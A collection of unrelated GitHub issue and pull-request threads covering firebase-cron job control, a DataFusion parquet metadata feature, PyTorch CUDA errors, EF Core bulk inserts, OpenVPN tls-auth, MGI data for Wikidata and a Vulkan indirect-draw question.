How to know whether the cron is running or not? & How to stop the cron?

How to get the cron status? I added the job and its running fine. But i don't know how to stop the cron.
var cron = require("firebase-cron")
var firebase = require('firebase');
firebase.initializeApp(config);

var ref = firebase.database().ref();
var queueRef = firebase.database().ref('queue');
var options = {endpoint: 'jobs'};
var cron = new cron(ref, queueRef, options);
cron.addJob('test',` '0 10 11 11 4 *', {foo: 'bar'}, function(err) {
 if (err) return console.error(err);
  console.log('job added');
  console.log();
  })
  cron.getJobs(function(err,jobs){
console.log("err",err)
console.log("all",jobs);
 })
  // cron.run(function(err,job){
  // })

////// some thing like that to stop.
  cron.stop(function(err,job){
  })`

///// some thing like that to get the cron status
  cron.status(function(status){
 // running or not running
  })

You can get a job by name with .getJob. This will have the nextRun timestamp:
cron.getJob('test', function(err, job) {
  if(err) return console.error(err);
  console.log(new Date(job.nextRun));
});

You can remove a job by name with .deleteJob:
cron.deleteJob('test', function(err) {
  if (err) return console.error(err);
  console.log('test deleted');
});

Thank you for the response.
I what to know the status of the cron whether it's running or not.(e.g. active state or inactive state or unknown state.)
And also how to stop the cron. (e.g., To run cron.run but to stop any thing like that)

Ah... for knowing if a job is currently running, then you'd have to look at the firebase-queue stats (this isn't something built into firebase-cron.
cron.run returns a function that will let you stop the timer (this isn't documented right now, but something I'd like to get documented).
var stop = cron.run();
stop();

Thank you.. But how to know the status by watching the firebase-queue, sorry i didn't clear about this point. could you explain me some more...
var stop = cron.run(); stop();
Its not stoping the cron which is in run. Could you please explain me how to stop.

But how to know the status by watching the firebase-queue,

See the firebase-queue documentation. It's something that you'll have to add to your code. firebase-cron only takes data and puts it into the queue at the specified time.

Its not stoping the cron which is in run

Please provide a repository (or runnable code) showing what's happening (remember, don't put real firebase credentials in the repository).
I'm not understanding if you want to stop the cron timer for checking for jobs to run or if you want to stop a job that's currently running.

var stop = cron.run();
stop()

Cron stop working fine. Thank you so much....
But is there any way to get the status of the cron.
Example:
case 1:
var stop = cron.run();
stop()
cron.status() // should return 'stoped'
case 2:
var stop = cron.run();
cron.status() // should return 'running'
similar to like that. Please i didn't get any status in the firebase-queue. Please tell me, is there any possibility to get it.

Hi... Anything to get the status.. Please help me....


Implement parquet_metadata function in datafusion-cli

Is your feature request related to a problem or challenge?
When exploring Parquet files using datafusion-cli I would often like to see how they are structured (how many row groups, if they have statistics, etc).
Describe the solution you'd like
I would like to create new functions for exploring parquet metadata using the new User Defined Table Functions (🙇 to @Veeupup ) introduced in https://github.com/apache/arrow-datafusion/pull/8306
Ideally we could implement something like parquet_metadata:  https://duckdb.org/docs/data/parquet/overview
(I think parquet_schema is covered by describe 'filename.parquet' already
Note I think this should be done  in datafusion-cli (not core DataFusion)
Describe alternatives you've considered
No response
Additional context
No response

This would also be a great test of the user defined table function feature to see if we can build something slightly more complicated than read_csv

I can help with this ticket as a following PR to #8306

After this ticker was finished, maybe we can have a list of internal table functions to implement, just like:

[ ] read_csv
[ ] read_parquet
[ ] read_json
[ ] ...


Fix most of the issues with the CNTK backend's random functions mentioned in #10594

This addresses all of the issues in #10594 except for the problem with truncated_normal.

@souptc could you please review this PR?

LGTM, thanks for fixing this!


The result of Voxel-RCNN in Table 1 of the paper.

Thanks for your work. The results I found in the Voxel-RCNN original paper are 92.38, 85.29, 82.86. And this paper are 91.72, 83.19, 78.60. Are there any other settings?

To measure the size and latency of the models, we re-evaluated the performance using the pre-trained weights provided by the official implementation (which is often lower than the performance written in the papers).
Nevertheless, we admit we mistakenly listed the wrong values for Voxel R-CNN.
When we re-evaluated Voxel R-CNN with the weights provided in OpenPCDet, the performances were 92.23, 85.03, 82.51, which is still lower than PG-RCNN.
We apologize for the error.


Error during forward pass

     44         input_integrated = cpp_cuda.integral_image(input)
     45         output = cpp_cuda.box_convolution_forward(
---> 46             input_integrated, x_min, x_max, y_min, y_max, normalize, exact)
     47
     48         ctx.save_for_backward(

RuntimeError: cuda runtime error (9) : invalid configuration argument at src/box_convolution_cuda_forward.cu:249```

Hi, thanks for reporting. I can't reproduce. Could you please give

MCVE,
your CUDA version,
your GPU model?

I need some time to prepare a gist with all the pipeline I use.
I tried to replace all nn.Conv2d to BoxConv2d in simple LinkNet-resnet18 model.
I used BoxConv2d wrong, and now I am trying to use in only in the Final one:
    def __init__(self, num_filters, num_classes=2):
        super().__init__()

        self.conv1 = nn.ConvTranspose2d(num_filters, num_filters // 2, 3, stride=2, padding=1)
        self.relu1 = nn.ReLU(inplace=False)
        self.conv2 = BoxConv2d(num_filters // 2, 8, 448, 448)
        self.relu2 = nn.ReLU(inplace=False)
        self.conv3 = BoxConv2d(num_filters // 2 * 8, num_classes, 448, 448)

    def forward(self, inputs):
        double_size = (inputs.size(-2) * 2, inputs.size(-1) * 2)
        x = self.conv1(inputs, output_size=double_size)
        x = self.relu1(x)
        x = self.conv2(x)
        x = self.relu2(x)
        x = self.conv3(x)
        x = torch.einsum("ijkh->ikh", x)
        return x```

And I have the following error:
```RuntimeError: grad_output must be contiguous (box_convolution_backward at src/box_convolution_interface.cpp:156)
frame #0: std::function<std::string ()>::operator()() const + 0x11 (0x7ff300054021 in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libc10.so)
frame #1: c10::Error::Error(c10::SourceLocation, std::string const&) + 0x2a (0x7ff3000538ea in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libc10.so)
frame #2: box_convolution_backward(at::Tensor, at::Tensor, at::Tensor, at::Tensor, at::Tensor, at::Tensor, at::Tensor, float, float, bool, bool, bool, bool, bool, bool, bool) + 0x2281 (0x7ff2dbd45db1 in /home/belskikh/repos/box-convolutions/box_convolution_cpp_cuda.cpython-36m-x86_64-linux-gnu.so)
frame #3: <unknown function> + 0x51b55 (0x7ff2dbd75b55 in /home/belskikh/repos/box-convolutions/box_convolution_cpp_cuda.cpython-36m-x86_64-linux-gnu.so)
frame #4: <unknown function> + 0x4fd75 (0x7ff2dbd73d75 in /home/belskikh/repos/box-convolutions/box_convolution_cpp_cuda.cpython-36m-x86_64-linux-gnu.so)
frame #5: PyCFunction_Call + 0xc6 (0x55a1a7edc6a6 in /home/belskikh/.conda/envs/proto/bin/python)
frame #6: _PyEval_EvalFrameDefault + 0x542d (0x55a1a7f8a4ad in /home/belskikh/.conda/envs/proto/bin/python)
frame #7: PyEval_EvalCodeEx + 0x329 (0x55a1a7f5b289 in /home/belskikh/.conda/envs/proto/bin/python)
frame #8: <unknown function> + 0x194094 (0x55a1a7f5c094 in /home/belskikh/.conda/envs/proto/bin/python)
frame #9: PyObject_Call + 0x3e (0x55a1a7ed954e in /home/belskikh/.conda/envs/proto/bin/python)
frame #10: _PyEval_EvalFrameDefault + 0x19ec (0x55a1a7f86a6c in /home/belskikh/.conda/envs/proto/bin/python)
frame #11: <unknown function> + 0x1918e4 (0x55a1a7f598e4 in /home/belskikh/.conda/envs/proto/bin/python)
frame #12: _PyFunction_FastCallDict + 0x1bc (0x55a1a7f5ac4c in /home/belskikh/.conda/envs/proto/bin/python)
frame #13: _PyObject_FastCallDict + 0x26f (0x55a1a7ed9b0f in /home/belskikh/.conda/envs/proto/bin/python)
frame #14: _PyObject_Call_Prepend + 0x63 (0x55a1a7ede6a3 in /home/belskikh/.conda/envs/proto/bin/python)
frame #15: PyObject_Call + 0x3e (0x55a1a7ed954e in /home/belskikh/.conda/envs/proto/bin/python)
frame #16: torch::autograd::PyFunction::apply(std::vector<torch::autograd::Variable, std::allocator<torch::autograd::Variable> >&&) + 0x193 (0x7ff33a58f2b3 in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libtorch_python.so)
frame #17: torch::autograd::Engine::evaluate_function(torch::autograd::FunctionTask&) + 0x39e (0x7ff2ff1086ee in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libtorch.so.1)
frame #18: torch::autograd::Engine::thread_main(torch::autograd::GraphTask*) + 0xc0 (0x7ff2ff10a850 in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libtorch.so.1)
frame #19: torch::autograd::Engine::thread_init(int) + 0xc7 (0x7ff2ff107377 in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libtorch.so.1)
frame #20: torch::autograd::python::PythonEngine::thread_init(int) + 0x2a (0x7ff33a589dfa in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/torch/lib/libtorch_python.so)
frame #21: <unknown function> + 0xb8678 (0x7ff3a02b9678 in /home/belskikh/.conda/envs/proto/lib/python3.6/site-packages/zmq/backend/cython/../../../../.././libstdc++.so.6)
frame #22: <unknown function> + 0x76db (0x7ff3a39376db in /lib/x86_64-linux-gnu/libpthread.so.0)
frame #23: clone + 0x3f (0x7ff3a366088f in /lib/x86_64-linux-gnu/libc.so.6)```

My Cuda version:
```nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2018 NVIDIA Corporation
Built on Sat_Aug_25_21:08:01_CDT_2018
Cuda compilation tools, release 10.0, V10.0.130

My GPU model : GTX 1080 8Gb

I tried to use x = x.contiguous(), but it didn't help =) Should I change something in loss calculating?
I use nn.BCEWithLogitsLoss criterion.

Rolled out a temporary fix, should be working now.

Thanks! It's working


whats the vnc password/how to set?

title says it all i didnt see a place for a preset one or asked to create one and a blank one dont work as well as the old password from the now uninstalled other desktop project .......so im stumped .....never mind im blind

nevermind this is what im experiencing


BulkInsert with non-abstract-base TPH classes doesn't set derived class properties

Given a class hierarchy like
class Base {
  public string Name {get;set;}
  public string Discriminator {get;set;}
}
class Derived : Base {
  public string Value {get;set;}
}
and a DbContext like:
class MyContext : DbContext {
  public DbSet<Base> Bases {get;set;}
  public DbSet<Derived> Deriveds {get;set;}
  protected override void OnModelCreating(ModelBuilder modelBuilder) {
    modelBuilder.Entity<Base>().HasDiscriminator<string>("Discriminator");
  }
}
and a call to something like:
// stuff contains a combination of Base and Deriveds
void AddThings(IList<Base> stuff) {
  Db.Bases.AddRange(stuff);
  Db.BulkInsert(stuff);
}
The BulkInsert call does not result in the Value field being set in the database for Derived entries, even though the Discriminator field correctly identifies them as Derived and not Base. In order for this to work, it seems like Base must be an abstract class. However, if I replace Db.BulkInsert(stuff) with a call to Db.SaveChanges(), the entries are all inserted correctly.

As a side note, when I change the base class to be abstract, performance of BulkInsert goes from considerably faster than SaveChanges to somewhat slower.

Can you make a Test where this would be reproducible.

@ccruden-shookiot Did you find solution. I am also experiencing problem where some of my fields are not set in TBH scenario:
foreach (var entity in eCUIdentificationReports)
          {
              foreach (var subEntity in entity.DIDDataObjectValues)
              {
                  subEntity.ECUIdentificationReportId = entity.Id;
              }
              dIDDataObjectValues.AddRange(entity.DIDDataObjectValues);
          }
await dbContext.BulkInsertAsync(dIDDataObjectValues, bulkConfig);

Here ECUIdentificationReportId field is not set

Base class should be abstract, and I can't reproduce slow performance.
There is Test InsertWithDiscriminatorShadow which you could alter according to your scenario.
If you manage to reproduce the problem there open the new issue.


use TLS-HMAC

small PR according to https://openvpn.net/index.php/open-source/documentation/howto.html#security

I considered this one in the past (after FREAK mainly) and had been wondering for a bit about it.
I agree that tls-auth adds an additional layer of security, but the usefulness is kinda limited for most use cases and I try to keep the script as barebones/default as possible, leaving personal preference or niche hardening out. This directive is not used by default in the sample OpenVPN configs so I will not implement it at this time.
Thank you anyway.

我过去曾考虑过这个问题（主要是在 FREAK 之后），并且一直想对此进行一些思考。
我同意 tls-auth添加了额外的安全层，但对于大多数用例来说，实用性有点有限，我尝试尽可能使脚本保持准系统/默认状态，从而保留个人偏好或利基强化。 默认情况下，OpenVPN 配置示例中不使用该指令，因此我目前不会实现它。
不管怎样，谢谢你。

Is it possible to give an option during installation to enable or disable tls-auth?

@user00036 tls-crypt, which is an improvement over tls-auth is used by default for many years already.

@user00036 tls-crypt，这是一个改进 tls-auth默认情况下已经使用了很多年。

ok,thanks

@user00036 tls-crypt, which is an improvement over tls-auth is used by default for many years already.

Can you consider providing options to enable tls-crypt v2 and tls1.3? If openvpn is not supported, it seems to downgrade to tls-crypt v1 by default.

@Nyr this user is also harassing Openvpn on github.

@TinCanTech thank you as always for stepping by to provide context :)

@Nyr该用户还在github上骚扰Openvpn。
https://github.com/Openvpn/openvpn/issues?q=is%3Aissue+is%3Aclosed
您可以随意删除我的评论。

@Nyr该用户还在github上骚扰Openvpn。
https://github.com/Openvpn/openvpn/issues?q=is%3Aissue+is%3Aclosed
您可以随意删除我的评论。

https://github.com/Openvpn/openvpn/issues?q=is%3Aissue+is%3Aclosed
您可以随意删除我的评论。


Check if our CI configuration is potentially causing our intermittent failures

As discussed in the March 11th monthly meetup, we have some occasional unit test failures. These failures have seemingly been narrowed down to rclrs_tests and appear to be related to DDS usage. See https://github.com/ros2-rust/ros2_rust/pull/364 for more details.
With that in mind, it is imperative that we take multiple approaches to thoroughly investigate and analyze the root causes of these failures.
For this issue, we agreed that it would be beneficial to do some research on using shared memory in a unit test that runs in CI. We assume that shared memory requires some form of process isolation, so presumably someone else (another client library) has faced and solved these issues.
Note from RTI on this https://community.rti.com/forum-topic/process-isolation-when-testing-dds-code

I didn't get around to digging too deep here, but I have been unable to reproduce the intermittent failures locally since #372. Closing for now.


Suppress external storage code changes

Coverage decreased (-0.06%) to 92.307% when pulling 0b3e2a20b05c24a24d9a0696bd2b413d47f1c77d on manali-deshmukh:suppress-3par into 8f1e4a1259d71e304f21357919cf87b3888edc01 on HewlettPackard:master.

build failed


Add commit frequency

![GitHub commit activity](https://img.shields.io/github/commit-activity/m/michaelcurrin/code-cookbook)

Note username has to be lowercased despite that not matching my actual username.
Time: y, m, w

![](https://img.shields.io/github/last-commit/michaelcurrin/code-cookbook)

For interest with overrides
![](https://img.shields.io/github/last-commit/michaelcurrin/code-cookbook?color=red&label=custom%20label&logo=python&logoColor=green)

https://img.shields.io/github/last-commit/michaelcurrin/code-cookbook?color=red&label=custom label&logo=python&logoColor=green


After creating new DAOs it takes at least minutes to show up in UI

After creating new DAOs it takes at least minutes to show up in UI

I created a DAO 3 days ago and it still doesn't show up.
multicall.sputnik-dao.near

cant reproduce, sometime it might happens because of the indexer delays - cant be fixed on Astro side


[Bug, Report], $confirm (),.Then (),.Cathch () browser, JS, down compatible error (Promise)?

Element UI version
1.3.7
OS/Browsers version
ALL / IE11|10|9 | Chrome49 | FireFox45
Vue version
2.3.4
Reproduction Link
https://jsfiddle.net/tacnbwn7/3/
Steps to reproduce
To view the jsfiddle demo in IE11|10|9 | Chrome49 | FireFox45
What is Expected?
IE11|10|9 | Chrome49 | FireFox45 Promise down？
What is actually happening?
跪请认真点，清掉大材小用Promise，感谢

Those browsers do not support Promise natively, so you need to import a polyfill. And if you prefer, you can always use a callback


required/optional API suggestions from docs don't adhere to top level API signatures

Describe the bug
The docs say optional / required variants are a thing, but from what I can tell, the TypeScript types are either wrong, or the API currently only supports string/array variants of the API and not a nested object signature.
To Reproduce
Steps to reproduce the behavior:

Go to TypeScript Playground
See error

Expected behavior
using the prescription from the docs here https://github.com/joe-bell/cva#required-variants
I would expect it to support the same top level API of objects/arrays/strings
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: Kubuntu Linux
Browser Chrome
Version 109.0.5414.74

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
Add any other context about the problem here.

As the docs state:

To keep the API small and unopionated, cva doesn't offer a built-in solution for setting required variants.

The example shows how to pick and omit specific props to create the required effect – there is no required feature


0.13.0-alpha2 unavailable

Hello guys,
Log message said that this version can't be downloaded, but it is available now.

:+1:  Available since almost a month, btw

node-webkit-builder never supported alpha builds, did it?

@adam-lynch node-webkit-builder has checks for alpha in the code:
if(semver.satisfies(version, '>=0.12.0 || ~0.12.0-alpha')) {
   return 'nwjs.app/Contents/MacOS/nwjs';
   return 'node-webkit.app/Contents/MacOS/node-webkit';
 }

If you don't specify an option, the latest version will get pulled, though presumably this should only be the case if the version isn't an alpha (as per the changelog). However, right now the "latest" version being identified is 0.12.0-alpha, which fails to download.

See #275. Any help would appreciated.

Closing in favour of #329. Thanks for reporting.


Preview build of Streaming Extensions package

Support for Dot Net Core only, no integration with Bot Builder, GMO free, hand crafted, artisanal code.

Pull Request Test Coverage Report for Build 69485

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 77.089%

Totals

Change from base Build 69049:
0.0%

Covered Lines:
4963

Relevant Lines:
6438

💛  - Coveralls

:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.AI.Luis.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.AI.QnA.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.ApplicationInsights.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.Azure.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.Dialogs.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Builder.TemplateManager.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Configuration.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Connector.dll compared against version 4.3.1
:heavy_check_mark: No Binary Compatibility issues for Microsoft.Bot.Schema.dll compared against version 4.3.1

TEst that's failing is known as bad, and already fixed in master. Has nothing to do with this PR.


always normalize exceptions before raising

Split from #3455
It seems like the part of the above PR which needs to be better understood is the use of PyErr_SetObject, so I've split out this PR which just ensures the exception is normalized when raising a "lazy" exception. Given that 3.12 already does this (by virtue of exceptions always being normalized) this is a consistency change for the older Pythons. It fixes the issue observed in #3439 (a test added).
To try to make things a bit simpler I've adjusted code paths a little bit so that PyErrState::normalize has just one implementation with different match arms for pre/post 3.12.

Rebased; this now has a very minimal diff in src/err/err_state.rs and everything else is test code. Hopefully this makes it easier to decide on the change of behaviour.


Allow setting the order of in-app notifications

Description
Added a priority field to in-app notifications so that they can be explicitly ordered any way we like.
Other changes
Removed an unused invite notification (if we want to add a new one for invites we can do that remotely). The higher the priority, the earlier the notification shows up.
Tested
Manually and by running existing tests.
How others should test
In alfajores, make sure that the Bidali notification shows up first (before everything else except the backup account key notification) and that the rewards notification (which says You're eligible to earn rewards...) shows up last.
Related issues

Fixes #135

Backwards compatibility
N/A

https://valora.testquality.com requirement R76.

Hi @MuckT, We have verified this issue on Latest Test flight build V1.18.0 & Android Internal build V1.18.0 and updated the status in test quality tool.
Test quality tool link:
iOS (14.0):

https://valora.testquality.com/project/12128/plan/21657/run/149950/result/2469332

Android(8.0):

https://valora.testquality.com/project/12128/plan/21657/run/149950/result/2469338

Android(9.0):

https://valora.testquality.com/project/12128/plan/21657/run/149950/result/2469340

Query:

[ ] We have observed that user not able to see "Bidali In-AppCTA" at its first position
[ ] Also we have observed that “Valora allows you to buy and sell CELO” In-App CTA shown at last position
FYI: We have raised query ticket #1011 for same.

Verified on Devices: Samsung Galaxy J5 Prime (8.0), iPhone XR (14.6), Redmi Note 8 (9.0)
CC:  @gnardini
Thanks..!!

Hey @MuckT I have verified this issue using Alfajores build V1.18.0(72) & observed following observation:
Observation:

[ ] User able to see "Now Avaialble: Buy Gift Cards and Mobil Top Up through Bidali" In-App CTA at first position after creating new account as well as restoring account Attachment
[ ] Also user able to see Valora allows you to buy & sell CELO" In-App CTA at last position after restoring any verified account. Attachment)

Investiagtion: We have not observed Bidali In-app CTA for both scenarios
Verified On Devices: iPhone XR (14.6)
Thanks..!!

Hey @MuckT, We have verified this issue using Alfajores build V1.18.0(72) & observed following observation:
Observation:

[ ] User is not able to see "Bidali In-AppCTA" at its first position. Attachment

[ ] Also user able to see Valora allows you to buy & sell CELO" In-App CTA at last position after restoring any verified account  Attachment

Verified on devices: iPhone 12 (14.7.1)
Thanks..!!

Hey @MuckT, We have verified this issue using Alfajores build V1.18.0(72) & observed following observation:
Observation:

[ ] User is not able to see "Bidali In-AppCTA" for creating new account without setting up account key. Attachment
[ ] User is able to see  "Bidali In-AppCTA" at first position for creating new account with setting up account key. Attachemnt
[ ] Also it is observed that, user is able to see "You're eligible to earn rewards" CTA at first position & "Valora allows you to buy & sell CELO" CTA  at last (2nd) position when user restore account. Attachment
[ ] Also, user not able to see "You're eligible to earn rewards" CTA at last position in all above scenarios

Thanks..!!
Verified On Devices: iPhone SE (13.6.1)


Load MGI allele data for diseases and phenotypes

After talking with Judy Blake at ISMB, I think we have an agreement in principle that we should get more MGI data into Wikidata.  Next step is to actually prototype a few of their records as Wikidata items.  MGI download files are here: http://www.informatics.jax.org/downloads/reports/index.html.  I think we initially should focus on their ortholog mappings and disease annotations.  (and phenotype annotations to Mammalian Phenotype Ontology -- what is the licensing?)

Good starting point might be this mouse allele for Col2a1: http://www.informatics.jax.org/allele/MGI:2152978

This mouse allele is a model for 2 human diseases, which can be found in http://www.informatics.jax.org/downloads/reports/MGI_Geno_DiseaseDO.rpt
$ grep MGI:2152978 MGI_Geno_DiseaseDO.rpt  | gawkt '{print $8}' | sort -u
DOID:0080056
DOID:14789

This mouse allele also has multiple annotated phenotypes, available from either http://www.informatics.jax.org/downloads/reports/MGI_Geno_DiseaseDO.rpt OR http://www.informatics.jax.org/downloads/reports/MGI_GenePheno.rpt.  (The MP phenotypes are annotated to the exact allelic composition and genetic background, but at least initially, I think we should annotate these directly on the allele item.)
$ grep MGI:2152978 MGI_GenePheno.rpt | gawkt '{print $5}' | sort -u | wc
     54      54     594
$ grep MGI:2152978 MGI_GenePheno.rpt | gawkt '{print $5}' | sort -u | head
MP:0000063
MP:0000065
MP:0000088
MP:0000111
MP:0000130
MP:0000131
MP:0000133
MP:0000141
MP:0000150
MP:0000163
$ grep MGI:2152978 MGI_Geno_DiseaseDO.rpt | gawkt '{print $5}' | sort -u | wc
     48      48     528
$ grep MGI:2152978 MGI_Geno_DiseaseDO.rpt | gawkt '{print $5}' | sort -u | head
MP:0000063
MP:0000065
MP:0000088
MP:0000111
MP:0000130
MP:0000131
MP:0000133
MP:0000141
MP:0000150
MP:0000163

[ ] need to propose/create property for Mammalian Phenotype Ontology

On second thought, perhaps this allele http://www.informatics.jax.org/allele/MGI:1856966 would be easier if we're going to start with manual creation of items -- many fewer phenotypes to have to deal with...

... and on third thought, perhaps an even better candidate is http://www.informatics.jax.org/allele/MGI:3620011, because unlike the last example, the associated human disease in this case (obesity) has many linked drugs and gene associations in Wikidata.  Will lead to better integrative queries... It has more phenotypes to deal with, but still a reasonable number (16)...

Re: symptoms, see also: https://github.com/SuLab/GeneWikiCentral/issues/26

Data Modelling doc:
https://docs.google.com/document/d/1GP9HSyHI0hznoUIgqPWti_MTjsgl9ARLvl7H8JZa4Tw/edit

Minimalist model (gene to phenotype)
Gene Dbh (MGI:94864) -> has phenotype (RO_0002200) -> increased circulating corticosterone level
qualifier: observed in –> Genetic Mutant "MGI:2175826" (string)
curator: MGI
Stated in: PMID:15724149
reference URL: http://www.informatics.jax.org/marker/phenotypes/MGI:94864
Gene Dbh (MGI:94864) -> is model of (RO_0003301) -> "dopamine beta-hydroxylase deficiency" (DOID:0090145)
curator: MGI
stated in: PMID:7715704
reference URL: http://www.informatics.jax.org/marker/MGI:94864


OpenBabel 3

The OpenBabel master branch now contains the alpha release of OpenBabel 3, therefore FindOpenBabel2.cmake does not work anymore.
I'm working on a solution, but it's taking more time than expected...

The new version can be found by updating FindOpenBabel2.cmake,
-- Found Open Babel include files at /usr/local/include/openbabel3
-- Found Open Babel library at /usr/local/lib/libopenbabel.so

but the version check in `` appears to be problematic:
Documents/git/libmolgrid/src/atom_typer.cpp:15:6: error: user-defined literal in preprocessor expression
 #if (OB_VERSION >= OB_VERSION_CHECK(2,4,90))
      ^~~~~~~~~~
Documents/git/libmolgrid/src/atom_typer.cpp:15:6: error: user-defined literal in preprocessor expression
 #if (OB_VERSION >= OB_VERSION_CHECK(2,4,90))
      ^~~~~~~~~~

The version check should be fixed in the latest version of openbabel master.


buildDotnetModule: add option to make a self-contained build

Description of changes
This change may not be very useful for packages in nixpkgs, but it helps alot when using buildDotnetModule to build a custom application.

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Thank you for this!
I haven't tested selfContainedBuild = false builds, but selfContainedBuild = true allows me to compile #182972, and the resulting program seems to work as intended.

@IvarWithoutBones can you take a look at this?


Is there an option to bind "Open Project" without "in New Window"?

You could use the default keybind cmd+ctrl+p (mac) or  ctrl+alt+p (windows/linux).
If you want to change the default keybind, just use
{
"keys": ["super+ctrl+o"],
"command": "project_manager"
}

Ah, it wasn't previously working because the keybind was in use. Thanks.


BOLDigger hit type 2 overflagging

Many records in the BOLD System have in their specific epithet information that does not correspond exactly to the species name.
e.g.: sp. a AK-2021, sp. (Johor), communis A1A2, cf. alpium.
Because of this many hits are labelled in the Boldigger hit pipeline as type 2.
Therefore I think it could be interesting to add a species name cleaning step at the beginning of the Boldigger hit process as follows:
Delete the species name completely if it contains:
"sp." lack species name (e.g. sp. CFJS-2021b)
"cf."   doubtful species name (e.g. cf. micrura)
"aff." doubtful species name (e.g. aff. hornsundi)
"grp." group, doubtful species name (e.g. pedellus grp.)
" / "  doubtful species name
Erase after: (To leave only the species name)
" ssp." subespecies name
" var." variant name (e.g. australogibba var. subcapitata)
" " addition information for a species added after the species name (e.g. bilobata CEA) After this I would delete the boxes containing numbers. (e.g. sp0949C, Malaise3164)
One element on which I doubt whether or not it should be deleted is hybrids. It might be interesting to remove them by default but leave a command as an option not to do so.
" x " hybrids (e.g. pennsylvanicus x firmus)

Fixed with BOLDigger2.


feat: Try get ordinal for column name

This follows the TryX pattern common in .Net so that the method doesn't throw when a column isn't found or is duplicated. This is useful when parsing CSV files in which some columns are optional, and prevents the need to use exceptions for control flow.

I think you can achieve exception-less binding using the CsvDataReader.GetColumnSchema method, which provides the metadata about all the columns in the header. This would also allow you to determine whether a column is duplicated or missing. In the case of duplication, you might have a policy to bind to the "first" one, for example. With the TryGetOrdinal implementation there is no way to differentiate between missing and dupe columns.
Additionally, I try to maintain API parity between Sylvan.Data.Csv and Sylvan.Data.Excel, and I do this by adding as little new API surface as possible over the base DbDataReader members. My expectation is that most code can target DbDataReader and consume either library without modification.


Django Rest Framework is not listed as a dependency.

My project does not currently use Django Rest Framework, so on line 15 of utils.py, i get an ImportError from strawberry-django-jwt.
Is Django Rest Framework necessary? It feels strange to need DRF when using GraphQL.

Hi,
Importing DRF is definitely not necessary and is only used in type hinting of get_context. I have removed the mandatory import in #126 and will soon release a new version with these changes.

Thanks! :D


Optionally show tick marks in ambient mode

When in ambient mode, I have difficulty reading the time, particularly the hour, since the tick marks that are normally displayed disappear in ambient mode. I'd really, really be able to toggle a setting to have the tick marks show when in ambient mode.

I've wanted this feature for a very long time, and have even forked this repo and attempted to implement this feature in the past, but have been blocked by environment set up and the build process. If you're willing to spend some cycles getting this rookie dev up and running, I could take a stab at adding it.
That said, my guess is that you could probably add the feature in the amount of time it would take to coach me through adding it...


Form control validation not working in IOS after remove and append operation by Renderer2

Environment
CLI: 5.1
IOS : 5.1
Describe the bug
I tried  to remove and append the position of the textfield component to anther layout by angular Renderer2 service. It works fine in android. But in ios the position was changed but the validation not working after this operation.
To Reproduce
Create a reactive form component with some validation.
Try to remove and append one form component to the another layout.
Check whether the validation is working before and after
Thanks

@ppyoosuf the best approach would be to post a demo app that demonstrates how you are cresting the form component and how are you appending/removing components. Without the actual test app it is hard to say what  are you dealing with.


Add support for Phoenix LiveView

Tested on a live project 🦐

Hi, and sorry for the delay.
This looks great, thanks a lot!

I just published a new version with your changes. Thanks again.


firstInstance field is not used, but is defined

In Chapter 16, when defining the VkDrawIndexedIndirectCommand structs for both static and animated meshes, the firstInstance field is defined, but not used in the shaders.
To fix this issue, simply define the field as 0 when defining the struct.

This is required for material Index. You can comment that part and see it will fail, for example, for animated meshes.

Ok, you will not find it in the shader code but it is used behind the curtains. To simplify, let's focus on static models. You will have big buffer which contains all the meshes vertices. Where you should start reading for a sepcific mesh is controlled by the vertexOffset attribute (which you wil not see either in the sahder code). The associaed indices are controlled by the firstIndex parameter. But we are rendering, all the entities associated to a specific mesh from a model using a single indirect draw command. This means, that we need to use a buffer which contains per instance (or per entity) data, such as model matrix, material index and so on. This is what is controlled by firstInstance attribute. You can think of it like a pointer to the big buffer which holds that "per entity" data. That structure is loaded in the loadInstanceData and contains a model matrix and a material index. That structure is populated following a sepecifc order so when drawing, the firstIntance field will act as a pointer to the data of the parts entity (instance) associated to the mesh being rendered (and will be incremented under the hood for the rest of entities drawn in the single command).
Just realized this is not explained very well in the book. If you are ok with this explanation I will use this isse to update it.

Makes sense to me


